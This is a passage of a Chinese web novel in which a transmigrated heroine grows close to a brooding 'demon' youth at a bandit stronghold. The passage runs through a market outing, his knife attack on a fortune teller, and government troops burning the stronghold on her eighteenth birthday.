“嗯。”温禾知道他素来不关心旁人,怕是连李雀儿是谁都不晓得,解释道:“就是今早同我约好一起逛集市的那位妹妹,她是我从小一起长大的手帕交。”
宋默怔住,耳尖突然窜起一抹绯红,像是大雪之中盛开的梅花。他张了张嘴,从喉咙里挤出一声含糊的:“哦……”
她不喜欢那个书生。
被少女包裹的那指节隐隐发烫,那温度顺着血脉一直蔓延到胸口,烫得他心口直跳。
他别过脸去,却怎么也压不住微微上扬的嘴角:“那你……跟他搭话也是因为……”
少年的声音越来越低,白皙的脸悄然爬上一层薄红,连眼尾都染上淡淡的啡色。温禾看在眼里,心下暗自窃喜。虽然借的是他那位白月光的势,但是这效果倒是肉眼可见的好。
她趁机加大火力:“是啊,因为小雀儿喜欢,我才特意帮她打听呢。”
说罢,指尖一滑,从擦拭的动作变成了十指相扣,还故意晃了晃,“我知道你心里装着……别人。”
在关键处停了停,温禾看着少年眸色乌黑,像是漫长无垠的夜晚,渐渐晦暗,才继续道:“但是没关系,我会一直等,等到你也喜欢我的那天。”
少女的心意直白又大胆,宛如一簇幼小的火种落在漫无边际的草原。
野火烧不尽,春风吹又生。[1]
宋默眉心一跳,先前如溺水般的窒息感一瞬间消散,那些淤堵在胸口的酸涩与苦闷,被这团突如其来的野火焚烧殆尽。
他垂眸看向两人交握的手。
清风朗月,如沐慈悲。[2]
表白的时候,温禾满脑子都是攻略魔头的任务,竟丝毫不觉得害臊。回过头,躺在床上,那些话语在脑海中一遍遍回放,她才后知后觉意识到自己是在表白诶。
“我会一直等,等到你也喜欢我的那天。”
夏夜蝉鸣扰人清梦,温禾猛地用被子蒙住头,脸颊滚烫。她翻来覆去,心跳在胸口似乎快要蹦出去。
直到月光西斜,天光乍破,她才晕睡过去。
宋默却是一早便醒了。
晨光柔和地勾勒出少女熟睡的轮廓,见温禾睡得正香,连发丝都凌乱地贴在面颊上,心下柔软,不禁莞尔。修长又漂亮的手指轻轻理了理她的头发,贴心地为其拢了拢被子,怕吵醒她,宋默轻声问道:“早上想吃什么?”
温热的呼吸拂过面颊,痒痒的触感让温禾下意识地皱了皱鼻子,她迷迷糊糊地抬手挠了挠脸,身子一扭背对他,含糊不清地嘟囔道:“包子……”
少女声音软糯,带着未醒的困意,宋默弯了弯眼睛,连脚下的步子都轻快了几分。
引用:
[1]出自唐代白居易的《赋得古原草送别》。
[2]出自史铁生的《我与地坛》。
15.故意
温禾发觉,大魔头其实是个特别好攻略的对象。
不知是借了宋默那位白月光的光,还是她那日炽热的情话当真有效果。宋默渐渐将她的事当成了他的事,每日像位勤劳的田螺姑娘,衣食住行一概承包。
他挽起半袖替她洗衣,小臂线条紧实漂亮,皮肤白皙,许是碰了清凉的山泉水,指节微微泛红。腰间束带勒出窄瘦的腰线,俯身时衣襟微微敞开,隐约可见轮廓清晰的锁骨。
温禾光是看着,心里就欢喜。
人夫,可太人夫了。
只是……
少年怀抱的木盆里堆杂着不少清洗后的衣物。在一堆深浅不一但朴素的衣物里,她的那件粉色小衣亵裤格外鲜艳突兀。
温禾耳尖一烫,一个箭步冲上前,手忙脚乱地去抢那件小衣,几欲羞愤欲死,撇过头喃喃:“这个我自己来就行……”
宋默却稳稳攥着另一端:“无事。”
温禾羞臊得声音都变了调,手上却不敢用力,生怕扯坏了,央求道:“宋默!”
宋默脸不红心不跳,抬眼望来,眼底一片澄澈,沉静如水:“你我成亲了,不必事事都分得这般清楚。”
温禾攥着那件小衣,见宋默如此坦然反倒让她不知如何是好,只得低声道:“总归是不大好……”
“何处不妥?”
少年不再与其争论,转而从木盆里取出清洗好的外衫,上头还有皂角的清香。他把衣物一件一件耐心抖开,晾晒在竹竿上,水珠滴落在青石上,晕开深色的水痕。
只剩下最后一件。
温禾一直没回答,她说不出哪里不好,但就是觉得不好。
只杵在原地,像一只熟透的大虾,支支吾吾的。
宋默朝她摊开手,掌心还沾着未干的水珠:“有我在,这些事你不必动手。”
见她仍不动弹,少年轻叹一声,指尖擦过她的手腕,取走了那件小衣。声音依旧清冷,但不似初见时那般疏离冷淡,多了几分难以察觉的温柔。
“元宝。”
微风拂过,浆洗后的衣物在竹竿上轻轻摇曳,雪色外衫被风掀起,若有若无地在二人之间飘荡,像隔着一层朦胧的纱。
宋默把最后一件小衣仔细挂好。
“我们之间,是我得幸。你本就该配这世上最好的,是我对不住你。”
他叫她元宝。
他说,她值得这世上最好的。
温禾心头一颤,抬眸。
少年站在晨光里,眸色清亮,山间流水潺潺,突然一瞬间都涌进那双多情眼里。
继而,她笑了。
少女眉眼弯弯,堪比四月春光明媚大好。她突然踮起脚尖,一把揽住宋默的肩,少年顺从地俯下身来,任由少女揉捏自己的脸颊。
“胡说八道什么呢。”温禾故意板起脸,指尖轻轻戳着那张清隽脱俗的脸,“罚你今晚多吃两碗饭,不吃完就给我睡地上,听到没有?”
宋默抓住那只顽皮的手,主动贴上去,笑意隐隐。
“好。”
*
时间如流水般滑过,一晃眼便到了覃元宝生辰的前夕。
月前,覃争义就拍着胸脯向温禾保证,这次生辰定要办的风风光光。底下的人也都把这桩事放在心上,早在宴席前三日就开始紧锣密鼓地张罗起来了。
院子里张灯结彩,灯笼高挂,处处透着喜庆,据说还重金购置了十几盆名贵花草充场面。
覃争义满脸红光地搂着温禾的胳膊,得意洋洋地邀功:“爹说什么来着,这次生辰必须大办,咱们这规格,对标的就是那些个官家小姐。你瞧瞧这牡丹,爹可是把棺材本都掏出来了……”
他越说越起劲,脸上的皱纹都展开了,像个讨赏的孩子。
温禾心里又感动又好笑,正想说些什么,忽闻院门外传来一阵阴阳怪气的嗓音。
“哎哟喂,这排场可真是了不得。”
只见何大娘扭着腰肢踱进院来,经过两个小厮搬着一盆玉楼子,还刻意驻足,捻着一朵花仔细嗅闻。
“大哥还真是舍得下血本,对我这外甥女可真好啊。”
这话听着尖酸,话里带刺。温禾对这位姨母一直没什么好感,也知晓此人生性如此,权当没听见。
覃争义却沉下脸来,睨了这位姨妹一眼。
“我就这么一个闺女,不对她好对谁好?”
何大娘轻嗤:“那也别忘了共患难的兄弟们啊,大哥?”
“你有事说事,藏着掖着做甚?”
“哟,大哥这可是你要我说的啊,那我就不藏着了。”何大娘夸张地提高音量,捻着帕子掩住嘴,“先前那知县来找大哥你,怎么都不跟咱们这些底下人说道说道,透透风儿?何苦要瞒着我们这些人,嘴上说着好兄弟,有福同享,有难同当……”
“如今倒好,苦我们都吃了,要享福了,你又……”
覃争义脸色骤变,瞬间阴云密布,“住口!”
“咋的还不让人说了?”何大娘被这声厉喝吓得一哆嗦,随即想起什么又硬气起来,“你覃争义就是个见利忘义,想吃独食的朝廷走狗!”
温禾闻言一愣,难以置信地转头看向覃争义。
后者凶狠地盯着何大娘,仿佛下一秒就要把她活剐吃了。
“我让你闭嘴。”
覃争义一把扯着何大娘的袖子,不由分说地把她往书房方向拉。
男人怒气冲冲,手上力气不小,拖拽着何大娘踉踉跄跄的,走两步绊两步。到书房门口,猛的把人推进去。
温禾虽对何大娘观感不好,但也不愿她真出什么事。何况从她口里,覃争义似乎与朝廷达成了某种协议。可是之前,覃争义分明是不愿被招安的,怎么会……
多想无益,温禾打算等到何大娘出来,再进去跟覃争义仔细盘问一番。
她不相信,覃争义会是那种自私自利,只顾眼前的小人。
约莫过了半个时辰,书房的门“吱呀”一声开了。
何大娘从里头出来,阴沉着脸,见着温禾站在廊下,竟还狠狠啐了一口唾沫。
温禾侧身避开,懒得与其纠缠,待她走远,才转身进了书房,顺手把门也带上。
覃争义正手撑着脑袋,刚毅的脸似乎又苍老了几岁,很是疲惫。
温禾远远叫了一声“爹”。
覃争义抬起头,眼中疲惫之色未消,他轻轻“诶”了一声,招呼女儿坐到自己边上。
温禾轻应,乖觉地坐下。
覃争义伸手从书架暗格里取出一个手掌大小,外观精致文雅的木匣,递到温禾手中。
“打开看看?”
“生辰是明日呀。”温禾嘴上虽说着这话,手上却诚实接过。
掀开匣子的瞬间,温禾看清了里头,是一根金簪。
她被惊得说不出话来:“这……”
覃争义一向清贫节俭,多数钱财都散出去了,哪来那么多钱买这根金簪。
“爹没同意招安,这簪子是干净的。”
似乎看出了温禾的疑虑,覃争义解释道:“你娘跟爹成亲之前,是大户人家的小姐。这是她留下的嫁妆,你也到岁数了,爹把它给你。”
“爹,我信您。”温禾捏着那支金簪细瞧,“只是姨母方才那些话……”
覃争义冷笑:“那疯婆子以为我得了上头好处,眼红罢了。”
温禾点点头,没再说什么,把那金簪收回盒子里。此物贵重,得找个安全的地方藏起来。
覃争义看着女儿,万分慈爱,“明日申时开宴。爹突然馋那城东陈记的酱肘子,你与默哥儿下山一趟给爹买回来,成不?”
“成。爹你想吃什么,我都给你买回来。”
闻言,覃争义笑出声,先前的不爽一扫而空。
他看了看温禾身上款式过时的衣服,“顺便……明日去成衣铺买件新的,撑撑场面。你,默哥儿,都买新的。”
说着,他从怀里掏出鼓鼓的荷包,一股脑全放在温禾手心里,沉甸甸的。
“这些钱,可着花。”
温禾笑盈盈接过,俏皮地眨眨眼:“爹你这是要把家底都掏空了呀?”
覃争义被她逗乐了,“爹的钱不都是你的吗?不给你难道留着死了花?”
这话头听着
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晦气,温禾赶忙过去捂住他的嘴,连连呸呸呸。
翌日,晨雾未散。
温禾睡得迷迷瞪瞪的,揉着惺忪睡眼爬起来。她换了一身山茶红的长裙,对镜梳了个简单灵动的发髻,把昨日覃争义赠的嵌宝石葵花金簪斜插在脑袋上,拉着宋默转圈臭美。
“好看吗?”
宋默用油纸包了两个馒头,笑着点头:“好看。”
虎牙山去镇上的路程得要一个时辰,为赶早集,二人都未曾用膳。温禾倒是无所谓,她本就指着下山这趟吃点不常有的。宋默对吃穿住行也向来不在乎,但怕她路上喊饿,又默默揣上两三个豆沙馅的包子,藏在怀中,用体温让其热乎得久一些。
温禾素来不喜骑马,总觉得颠簸,便提议坐马车下山。可宋默却说自己从未学过骑马,想试一试,便在马厩里寻了一匹强壮矫健,能容得下两人的枣红大马。
那马似乎很不喜欢宋默,他在前头牵着缰绳,马鼻子直冲冲,一直在骂人。温禾见此情形,笑着从他手里接过缰绳。说来也怪,缰绳刚落到她手上,那马儿就温顺起来,还顺势亲昵地拿头蹭蹭她肩膀。
二人一马正要出发,忽见覃争义领着数十个弟兄迎面走来。
温禾甜甜唤道:“爹。”
覃争义从气势汹汹顿时柔化,伸手慈爱地揉了揉闺女的发顶,动作轻柔又爱怜,像抚摸小动物那般,“下山路上当心些,千万小心陷阱。”
温禾满不在乎地摆摆手,嘴角勾起,笑得俏皮可爱。
虎牙山有不少野兽,猎户们常设置陷阱捕猎。那些陷阱十分隐蔽,寻常人不注意便容易踩了空。在虎牙山的这两个月里,她漫山遍野地跑,早就摸清了地形,哪儿有陷阱她都门儿清。
天王老子来了,她也不会上当。
“走吧。”
宋默站在马边提醒。
温禾刚想问他怎么不先上马,猛然想起他不会。于是利落地翻身上马。山茶色的裙裾绽放,她俯身朝他伸手。
少年握住她的瞬间,温禾突然使坏地一拽,少年猝不及防地跌落在马背,胸膛紧贴着她的后背。隔着衣料,都能感觉到彼此的心跳。
温禾迟钝,还嘲讽两句:“真是笨死啦。”
宋默两只胳膊松松地环住她腰间,若有若无地将少女拥在怀中。
可惜温禾不解风情,拉起缰绳,枣红马突然扬起前蹄,向后的重心力惊得宋默瞬间肌肉绷紧,本能地收紧双臂。那双原本虚虚环在腰间的手骤然发力,将她牢牢锁在了怀里。
温禾抿嘴偷笑:“坐稳了?”
身后传来轻“嗯”,不知何时,宋默的下巴抵在她的肩窝,温热的气息有意无意地拂过她耳畔,说话间唇瓣也几乎有意无意地擦过她耳垂。
“可以……搂腰吗?”
温禾不理解宋默那些奇怪的原则,这人都快贴到她身上来了,还扭捏什么呢。
她故意晃了晃缰绳,“搂啊,不然你想掉下马去?”
得到默许的某人,大着胆子更加收紧,温禾猛地被勒得轻哼,只觉得腰间的力道让她喘不过气,腾出一只手轻拍罪魁祸首的手背。
“你想恁死我啊?松开些!”
后背悉悉索索,力道稍稍松懈,却仍把她圈禁在方寸之地。
温禾懒得跟闷葫芦计较,转头仰着脸向覃争义承诺会早点回来,一定赶得上生辰宴。
覃争义却把目光落在宋默身上。
二人视线交接的刹那,心照不宣地点头。
“若是身上银两不够,记得去万氏钱庄支取银钱。”
“知道啦!”温禾抢过话头,双腿一夹马腹。
枣红马扬起双蹄,哒哒哒小跑出去。
山道蜿蜒,少年的呼吸浓烈,密密麻麻地缠绕上来。马背颠簸,环在温禾腰间的掌心似有似无地来回抚摸,奇痒难忍。
她突然想起,这样骑马,好像是她在骑吧?
“你故意的吧?”
温禾侧头瞪了少年一眼,后者双眸含笑,垂眼落在少女脖颈那片肌肤,露出眼皮上那颗艳冶的红色小痣。
“是你说……可以搂的。”
16.解惑
镇上早市人声鼎沸,花样众多。
距离上回和李雀儿来,已过去了半月有余。此次逛集市,温禾难免兴奋,拉着宋默在人群里来来往往地穿梭。
她玩兴大,看见什么都想尝试一番。
一路顺下来,宋默手上很快便提满了各式各样的纸包。
温禾双手捧着刚出炉的油饼,酥脆的外皮上点上芝麻,热气腾腾,香喷喷的,吃得正香。忽然瞥见有家摊子卖的是男人用的冠带。
那条暗红色的发带格外醒目,她一眼就相中了。
宋默素日总是穿得一身素白,身上再无半点颜色,一眼望过去像雪天里易折的白梅,冰洁渊清,素朴简洁,但瞧着十分可怜。
这条发带若是系在他发间……当是好看的。
她想买下赠他。
温禾拿起那条发带,踮着脚尖抬高胳膊在少年脸庞比划,少年如玉的肌肤衬着暗红,竟显出几分惊心动魄的瑰丽,可谓是人间绝色。
心上一颤,她取下荷包,点了一两银子给摊主。
“喏,给你的。”温禾将发带抵在宋默胸前。
宋默手上提了大包小包的,一时间腾不出手接。
温禾歪着头,眼珠一转:“要不我帮你系上?”
“有劳了。”
宋默微微颔首,屈身弯腰凑近,偏过头,束起的马尾如泼墨般从另一侧垂落。
指尖触及发丝的刹那,顺滑的让温禾不由感叹,老天真是眷顾他的皮相骨相,好看的人竟然连头发丝都与他人不同。
宋默头发比之上好的云缎还要柔顺,她趁机多摸了两把,才解开先前那根洗旧发灰的发带,换上新的那条。
只是她不大会绑,最后的成果歪七扭八。
她有些懊恼地摸摸鼻头:“抱歉,我绑得……好难看。”
“无妨。”宋默直起身,暗红色的发带在他墨发间轻晃,少年眉目如画,宛如素白画卷上点落的红梅,鲜活艳丽,不似凡尘之人。
他唇角微扬:“我很喜欢。”
温禾忍受不了宋默灼灼的目光,他又挨得近,她几乎能闻到他身上独有的桂花香。
真是奇怪,她也是用桂花味的皂角,温禾侧头闻闻自己身上的味道,怎么她就没有这么明显的桂花香。
今日天热,脸上又红又烫,温禾甩手扇风,后退着拉开了一些距离。
二人继续沿街游逛。
有一须发皆白的老者端坐在卦摊后,身着灰布道袍,面前摆着黄色符纸。见温禾宋默并肩而行,眼中精光一闪,抚摸着山羊胡子,出言拦住他们:“两位贵人留步。今日与老夫有缘,何不算上一卦?老夫观二位面相,应是段难得的天定良缘。”
温禾兴致缺缺,她素来不信天命这种神神叨叨的玩意儿,便拉着宋默的手打算走。不料宋默竟纹丝不动,反手轻轻扣住她的手腕。
“如何看?”
算卦先生眯起尖利的眼睛,从布袋中取出两支朱砂笔:“只需报上二位的生辰八字,再由老夫对上一对,是不是天造地设的一对,自然就见分晓了。”
宋默径直报出自己的生辰,看了温禾一眼,说的是覃元宝的生辰。
只见算卦先生拿笔在黄纸上涂涂画画半天,突然,他执笔的手猛地停顿,笔尖在纸上拖出一道刺目的红线。
算卦先生失声惊呼:“死劫!”
那双精明锐利的眼死死盯着纸上内容,他抬起头打量温禾,又低头核对八字,疑云满腹。
“奇哉怪哉……这命格之人,按说活不过二八之数,怎会……”
温禾本来觉得这算卦的是个骗子,可转念一想,她穿到覃元宝的身体里,那原来的覃元宝呢?
若这般说来,算卦所说活不过二八,也是在理的。
她还未及动气,宋默已先一步开口:“江湖骗子,疯言疯语。”
“嘿!你这后生!”算卦先生拍案而起,吹胡子瞪眼,“老夫行走江湖三十载,从无半句虚言!这位姑娘即便是活过二八之数,今日也必有血光之灾!”
“哦?”宋默掩下眼底的凛然,如春风和煦,对温禾柔声道:“成衣铺就在这条街的拐角,元宝你先去瞧瞧有没有喜欢的款式衣裳,我去买岳丈想吃的酱肘子,随后便来。”
怕温禾担心,又添了一句:“我会很快,你在铺子里慢慢选,可好?”
温禾心想着两个人分头行动,确实省时省事,便接过几个包袱点头应下,慢悠悠地往街角去。
等人走远,直到肉眼瞧不见。宋默缓缓转身,含笑的眸子转瞬间冰天雪地,盯着那算卦先生,一字一顿。
“你、再、说、一、遍?”
少年方才还是如沐春风,温文尔雅的模样,转瞬眼中满溢出黑水,如同一条黑鳞翕张的毒蛇,吐着信子步步逼近。
令人胆寒发竖。
算卦先生不自觉踉跄后退,撞翻了卦摊,铜钱卦签哗啦啦散落一地。
他咽了一口唾沫,“公、公子,我、我真……没说谎。这姑娘命格的的确确活不过十、十……六,若是过了十六,那也活不过十八……”
今日正是覃元宝的十八生辰,此话的意思,岂不是说她活不过今日?
宋默勾唇,指尖不知何时多了一柄寒光凛冽的匕首,银光在他眼中闪现。
他漫不经心地把玩着匕首,面上笑吟吟的,一时间叫人看不出心情好坏。低头垂眼,指尖有意无意地擦过匕刃,顺着刀锋滑下。
“哦?是么?”
明明在笑,却让人看得心惊胆战,毛骨悚然。少年看似年岁不大,但周身戾气凌厉,饶是算卦的见多识广,竟也被骇住了,哆哆嗦嗦地不停点头说是。
宋默的眼神又冷了几分。
意识到自己说错了话,算卦先生又摇头说不是,不是。
“到底是,还是不是?”
宋默又给了一次机会,这次算卦先生抓住了。
他说:“不是,是我见识浅薄,孤陋寡闻,方才那位小姐是天生的富贵命,自然一辈子平平安安,福泽深厚!”
少年慢条斯理地点头,“好。”
手中的匕首于空中打了个圈儿,忽地,尖利的匕刃精准贯穿算卦先生执笔的右手,鲜血从皮肉破洞处渗出来。
宋默一动不动地看着那一点点流出来的红血,眼神狂热,抬眼挑眉道:“那先生不若为自己算一卦,今日有无血光之灾啊?”
他转动匕首的力道恰到好处,算卦先生痛得浑身抽搐,又不会因此昏厥,只能忍痛说:“有有有……有的。”
“那先生可否在为我解惑一番?”
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“公、公子请说……”
“我与她是不是天定的缘分呢?”
“是、是是。二位自然是金玉良缘。”
得到想要的答案,少年满意地低低笑出声来。
收回匕首,算卦先生吃痛惨叫。宋默置若罔闻地从怀里掏出帕子,瞥见绣帕上的金元宝绣样,又收回怀里。
这是她的,不许弄脏。
撩起衣摆仔细擦拭沾染在匕首上的鲜血,对捂着手躺地哀嚎的算卦先生微笑道:“那我就多谢先生吉言了。”
*
温禾在成衣铺挑拣了半晌,终于等到宋默踏进店面。少年步履轻快,唇角噙笑,心情十分松快,像是遇到了什么喜事。
她为自己选的是一套水蓝底色绣百蝶穿花的襦裙。可为宋默选时,便犯了难。这人平素总是一袭素白,他喜欢什么样式颜色,她是一概不知。不过方才为其选的红色发带,衬得人愈发清俊妍丽,而且看样子他并不讨厌。
不若挑件红色的?
温禾让店家取下那件红衣,抱在怀里,等人来时就迎上去,不由分说地推着人去更衣试试。
待少年出来时,温禾看得愣神。
少年换下雪衫,身着暗红锦缎,金绣线在领口、衣袖、衣摆处游走,华贵非常。往日清冷如霜的人,此刻如同一团熊熊燃烧的火焰,眉若远山,目若秋水,嘴角噙着一抹若有若无的笑意,端的是俊俏儿郎。
这样内敛沉闷的人,穿起艳色来,不觉矛盾,是不一样的张扬热烈。
温禾自个儿瞧着满意不错,正欲开口询问宋默的意见。
后者自己张口道:“喜欢的。”
那语气温柔乖巧,温禾突然觉得,若是她无缘由地扇他几个巴掌,这人怕不是不仅不恼怒,约莫也只会说喜欢,说不准还会自个儿凑上来说太轻了,再重一些。
啧。
温禾猛地一激灵,暗骂自己鬼迷心窍,活脱脱一个色胚子!怎能因为此人一副纯白皮相,就忘了他是个心肠歹毒的大反派啊!
温禾素来秉持的是严于待人,宽于律己的准则。此刻不怪自己定力差,只怪宋默美色佳。这般想着,便迁怒到少年身上,狠狠剜了少年一眼,从鼻子里哼出一声冷笑。
宋默被瞪得莫名,却也不恼,乖顺地提着新置办的一堆东西,等着温禾付完银钱,便提着大包小包,亦步亦趋地跟在她后头。
天色将晚,二人去马厩牵回坐骑,便打道回府。
还是来时的山路。
宋默的骑术却已判若两人。他学东西的速度出人意料地快,只是晨间跟着骑了一回,马术便学会了大半,此刻已能稳稳控制缰绳,倒很像是一回事了。
奔波一日的少女早已精疲力竭,随着马背的轻晃,脑袋一点一点往宋默胸膛栽过去。少年眸光微动,不动声色地松开一只握绳的手,轻巧托住她摇摇欲坠的脑袋。
时间还算充足,枣红马在马厩里吃饱喝足,步子慵懒。
暮色将影子拉得很长。
林间乍然惊起飞鸟,宋默突然勒住缰绳,他循声望去,山道两侧隐约有数道陌生的身影在暗中移动。
枣红马打了个响鼻,不安地原地踏步。
他又细细观望一阵,双腿一夹,拉起缰绳往归家的反方向去。
17.生辰
温禾睁开眼,暮色四合,周遭树影、湖泊被夕照染上一层金色。
她从少年怀里挣脱出来,坐直打量了一圈,蹙起眉头,“什么时辰了?”
“申时三刻。”
“都这个时辰了?”突然意识到四周环境陌生的紧,“这不是回去的路?”
宋默低低“嗯”了一声,没再回答。
“阿爹该等急了。”温禾从宋默手里夺过缰绳,正要调转马头。
轰——
山顶突然爆出一片刺目的火光,烈焰腾空而起,随之而来的是滚滚的浓烟。
温禾的手僵在半空,全身上下的血液一瞬间凝固、发麻。
缰绳从手中滑走,枣红马顿下步子,不安地在原地踢踏步子。
突如其来的变化让她脑袋无法运作,过了半晌才梗着脖子转头,不可置信地望向宋默,她的声音发颤。
“是你。”
不是疑问。
少年眸中倒映着熊熊燃烧的山火,暮色渐浓,半张脸隐没在黑压压的树影里,明暗交错。
朱唇张开又闭合,“不是我。”
压抑的沉默让心如铅沉重,温禾死死盯着他:“除了你又能是谁?”
声音越说越高涨,到最后尾音几乎掺杂着哽咽,“大家对你不好吗?寨子里的每一个人都对你很好啊,他们有什么错?你为什么要伙同朝廷的那帮走狗!大家只是想在这个乱世里活下去而已,又有什么错!”
宋默呼吸一滞,但发出的声音照常平静的可怕,似乎在说与其无关的事。
“你不信我。”
他垂下眼睫,平素温禾最喜欢他看上去乖巧无辜的模样,像极了柔顺的小羊羔,以至于她忘记了眼前此人是嗜杀无情的魔头。
“信你?我宁愿从未见过你。”
此刻,她恨极了他,也恨极了自己。
如果一开始,一开始她就不应该让他留下来!
天光愈来愈暗,宋默眸中的颜色看不清晰,他仍在辩解。
“招安不成,朝廷势必攻山。”
温禾冷笑道:“可是熊虎寨的位置,只有寨里的人才知晓。不是你,又能是谁?谁会蠢到把自己相依为命的地方拱手让人?”
少年身形几不可察地晃了晃,他竟不知,自己在她心里,是这样卑劣的人,是会为了蝇头小利便背信忘义的小人。
如此不堪。
温禾冷声道:“下马。”
“你要回去?”
“那是我的家。”她推开宋默就要跃下马背。
少年却先一步落地,一把扣住她的手腕,不让她走。
温禾奋力挣脱,却仿佛被铁钳制住,死死禁锢。
“放开!”
“你不该去。”宋默非但不松,反而将她拽得更近。
他眸色深沉,翻涌着一些温禾读不懂的情绪:“别去送死。”
“贪生怕死的鼠辈!”
温禾冷笑,竭力反扣住宋默的手,若他再敢阻拦,她不介意杀了他。
反正,他不死不灭。
少女仰起头,巴掌大的脸清秀又坚韧,似乎在看一个陌生人,眼神冷漠:“宋默,我同你,终究不是一路人。”
话音未落,温禾的掌心落下,同时随之而来的是白色粉末飞扬。宋默瞳孔骤缩,却已吸入大半,头脑昏沉,眼前重影叠叠。
天旋地转间,他看见温禾抽身而退的身影渐渐模糊。
她笑得比哭还难看,“骗子。”
*
“驾!”温禾狠夹马腹,枣红马吃痛嘶鸣,如箭一瞬冲入山间的小道。
她抄近路回去。这条路没什么人走,灌木长得异常枝叶繁茂,她纵马经过,带尖刺的植物勾破新买的衣裳,失去庇护的皮肤难免被荆棘划伤,在裸露的皮肤上留下一道道血痕。
但她无暇顾及,只愿再快一些,再快一些。
扬起的鞭子七零八落,她不愿去想,只朝着山顶那片火光去。
越靠近山顶,硝烟浓重呛鼻的味道和空中的焦糊味就越重。
一颗心缓缓沉下去。
天际响过闷雷,疏忽间落下一场夏夜的雨幕。
狂风呼啸着,卷着雨丝斜斜,马蹄踏过坑坑洼洼的泥泞山路,于水塘里溅起弱小的水花。
突然,枣红马发出一声凄厉的嘶鸣。
温禾只觉得身下一空,整个人随着坠落的马匹急速下坠——
最后,“砰”的一声闷响。
她重重摔在陷阱底部。
山里的猎户为捕捉大型猎物,防止猎物逃脱,喜欢把陷阱挖得很深,并在底部放置削尖的竹刺。若有猎物不幸跌落,尖锐的刺会率先扎破身体,然后在陷阱里静候死亡。
枣红马先一步被扎穿,温热的血溅在她脸上。她侥幸落在马身上,只是受了一些皮外伤。
“对不住……”
她踩上马背,指甲攀着粗粝的陷阱内壁,混着雨水的泥土又湿又黏,她尝试了好几遍,几近筋疲力竭。
第一次,只爬了半丈就滑落。
第三次,指尖磨出血来,踩空了石头,又跌落下去。
第七次,豆大的雨点落在洞口,打滑,摔回马的尸体上,肋骨传来钻心的疼痛。
直到第九次,她终于抓住洞口最后一块凸起的岩石,咬紧牙关,用尽全身力气爬出去。
瘫倒在泥泞的陷阱边。
只来得及喘两口气,抹了把脸上的血雨,便立马爬起来。
伤口处火辣辣的疼痛拽得她几乎站不稳,扶着粗糙的树干跌跌撞撞地迎着夜色赶路。
远处那片火光将夜幕照映成赤红色,温禾隐约能听到刀剑相向的厮杀声。
待她踉跄地冲进山寨时,眼前的景象令她双腿一软,跪倒在地。
烈火无情吞噬她熟悉的每一寸砖瓦,那棵她过去两个月常常攀爬的老树烧焦后轰然倒地,精心布置的生辰宴席转眼间化为焦土。
熊熊烈火之中,横七竖八地躺着许多熟悉的身影。
“婆婆?”
温禾颤抖着手推了推背对着她的张婆婆,没有反应。她拉着翻了个身,张婆婆睁着眼,嘴角挂着血。
怀里抱着一屉打翻的蒸茏,其中的甜糕洒了一地,沾上尘与血。
蒸笼之下,是被贯穿的洞。
黑漆漆的,几乎要把她吞掉。
她自小害怕血,万物烧焦的味道和尸体的鲜血腐味混杂在一起,她难以忍受,用手紧捂住嘴。
温禾木着脸爬起来,像个游魂似的在尸横遍野的寨子里穿行,每走一步,她都踩在相识之人的血泊里。
一个接着一个翻看。
教她拉弓射箭,带她打猎,会笑着夸奖她不愧是少当家的李叔。
刚生下遗腹子,常常带着可爱活泼的婴孩,在小溪边同她说笑的江姨。
第一次见面时,不及她半人高,却拉着她的衣摆说以后想嫁给她的小石头。
……
太多了,真的太多了。
强忍着对鲜血的恐惧,温禾翻看了最后两个人。
昔日清俊的男子半边身子都烧成了焦炭,看上去可怖可惧。他怀中紧紧护着一个年岁不大的少女,用身体为她筑起最后一道屏障。少女清亮的眼神暗淡,眼角垂泪,手指紧紧攥着男子的衣领。
温禾认出来了。
生辰宴之前,她送了请柬给江公子和李雀儿,邀他们二人一起上山来玩。
三日前,李雀儿还红着脸对她说:“元宝,我与江郎下月初八成亲,你一定得来当我的送嫁娘子。不然……我就!”
少女娇嗔的模样浮在眼前又化成灰去。
是她害死了他们。
视线斑驳,好像起雾了。
“阿爹、阿爹——!”
撕心裂肺的呼喊穿透雨幕,却被越来越烈的火舌卷入绝望的边缘。
*
夏侯守立于精兵阵前,火光中他的脸忽明忽暗。他居高临下地睥睨着,脸上盛着胜者的讥笑:“覃争义,早知今日,当初何必要拒绝本将的好意呢?”
当初他念在此人是个人才,有意招安,却不想此人敬酒不吃吃罚酒,当面撕毁招安文书,令他面上难堪,颜面尽失。
想到那日被拒绝的不愉快,他冷冷笑道:“守着这群老弱病残,与朝廷作对,这就是你所谓的义气?值得吗,为这些蝼蚁放弃高官厚禄,放弃这条命?”
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被烧脆的屋檐坍塌倒下,火星四溅,正落在位于寨中央的男人身侧。
覃争义却连眉头都没皱一下,浑身是血,脊背挺得笔直。刀疤狰狞,深深从额角贯穿到下颌,右眼也被波及,睁不开来,仅剩的左眼仍旧锐利。
手中的大刀早已断成两截,十几个官兵将他团团围住。
“要杀要剐,随你的便。”他吐出一口血沫,“你这厮废话忒多。”
夏侯守脸色骤变,猛地抽出佩剑。
四周官兵见状,立即退开让出一片空地。
“好啊,本将亲手送你上路!”
剑锋寒光乍现,一道身影如离弦之箭冲入阵中。
“住手!”
双手持着染血长剑生生架住这一记杀招,剑刃相击。
然双方实力悬殊,温禾只觉得一股巨大的力量排山倒海般压来,那一瞬的对抗迫得虎口发麻,膝盖不受控制地弯曲,几乎拿不稳剑。
但她不敢放,也不能放。
“走啊!”
覃争义嘶哑的嗓音从身后传来,语气愠怒,“我不是让那小子带你走了吗!还回来干什么!怎么一个两个都不听话!”
温禾回头看向覃争义,忍下将落未落的泪,笑着打趣:“爹,我也是熊虎寨的人,怎么能逃跑?”
“老子还轮不到一个小女娃来护!”
覃争义一把推开温禾,撑起断刀踉跄起身,如巍峨山岳,挡在女儿面前。
男人正值壮年,虽身受重伤,但仍高大威猛,把温禾挡得严严实实。鲜血从腰腹的伤口汩汩流血,混着雨丝落进泥土地。
“爹,你的伤!”
覃争义头也不回地摆摆手,“皮肉伤而已。”
好一出父慈女孝的戏码。
夏侯守收回剑,脸色阴鸷得可怕:“你们俩,当本将是摆设不成?”
无人理会。
覃争义侧首,压低声线道:“元宝,待会找准机会就跑,不必管我。”
温禾咬唇没应答,心里虽害怕,但临阵逃脱不是她的作风。
夏侯守冷哼一声,转了个剑花,扬起下巴:“覃争义,你敢不敢与本将堂堂正正打一场?”
“哈哈哈……”
覃争义仰天大笑,笑得太过肆意,牵扯到腹部的伤口崩裂开来,他呛了一口血沫,“老子会怕你?孬种、杂碎、没卵蛋的阉货!”
